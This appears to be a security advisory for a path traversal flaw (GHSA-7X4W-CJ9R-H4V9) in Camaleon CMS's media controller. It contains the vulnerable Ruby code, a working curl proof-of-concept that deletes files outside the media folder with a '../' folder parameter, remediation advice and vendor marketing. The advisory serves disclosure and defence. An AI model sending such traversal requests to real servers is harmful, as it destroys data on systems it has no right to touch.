Summary
Camaleon CMS vulnerable to remote code execution through code injection (GHSL-2024-185)
The actions defined inside of the MediaController class do not check whether a given path is inside a certain path (e.g. inside the media folder). If an attacker performed an account takeover of an administrator account (See: GHSL-2024-184) they could delete arbitrary files or folders on the server hosting Camaleon CMS. The crop_url action might make arbitrary file writes (similar impact to GHSL-2024-182) for any authenticated user possible, but it doesn't seem to work currently.
Arbitrary file deletion can be exploited with following code path: The parameter folder flows from the actions method:
def actions
authorize! :manage, :media if params[:media_action] != 'crop_url'
params[:folder] = params[:folder].gsub('//', '/') if params[:folder].present?
case params[:media_action]
[..]
when 'del_file'
cama_uploader.delete_file(params[:folder].gsub('//', '/'))
render plain: ''
into the method delete_file of the CamaleonCmsLocalUploader class (when files are uploaded locally):
def delete_file(key)
file = File.join(@root_folder, key)
FileUtils.rm(file) if File.exist? file
@instance.hooks_run('after_delete', key)
get_media_collection.find_by_key(key).take.destroy
end
Where it is joined in an unchecked manner with the root folder and then deleted.
Proof of concept
The following request would delete the file README.md in the top folder of the Ruby on Rails application. (The values for auth_token, X-CSRF-Token and _cms_session would also need to be replaced with authenticated values in the curl command below)
curl --path-as-is -i -s -k -X $'POST' \
-H $'X-CSRF-Token: [..]' -H $'User-Agent: Mozilla/5.0' -H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Accept: */*' -H $'Connection: keep-alive' \
-b $'auth_token=[..]; _cms_session=[..]' \
--data-binary $'versions=&thumb_size=&formats=&media_formats=&dimension=&private=&folder=..%2F..%2F..%2FREADME.md&media_action=del_file' \
$'https://<camaleon-host>/admin/media/actions?actions=true'
Impact
This issue may lead to a defective CMS or system.
Remediation
Normalize all file paths constructed from untrusted user input before using them and check that the resulting path is inside the targeted directory. Additionally, do not allow character sequences such as .. in untrusted input that is used to build paths.
See also:
CodeQL: Uncontrolled data used in path expression
OWASP: Path Traversal
Impact
Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.
GHSA-7X4W-CJ9R-H4V9 has a CVSS score of 7.2 (High). The vector is network-reachable, high privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.8.1); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is GHSA-7X4W-CJ9R-H4V9? GHSA-7X4W-CJ9R-H4V9 is a high-severity path traversal vulnerability in camaleon_cms (rubygems), affecting versions < 2.8.1. It is fixed in 2.8.1. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
- How severe is GHSA-7X4W-CJ9R-H4V9? GHSA-7X4W-CJ9R-H4V9 has a CVSS score of 7.2 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of camaleon_cms are affected by GHSA-7X4W-CJ9R-H4V9? camaleon_cms (rubygems) versions < 2.8.1 is affected.
- Is there a fix for GHSA-7X4W-CJ9R-H4V9? Yes. GHSA-7X4W-CJ9R-H4V9 is fixed in 2.8.1. Upgrade to this version or later.
- Is GHSA-7X4W-CJ9R-H4V9 exploitable, and should I be worried? Whether GHSA-7X4W-CJ9R-H4V9 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-7X4W-CJ9R-H4V9 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-7X4W-CJ9R-H4V9? Upgrade
camaleon_cmsto 2.8.1 or later.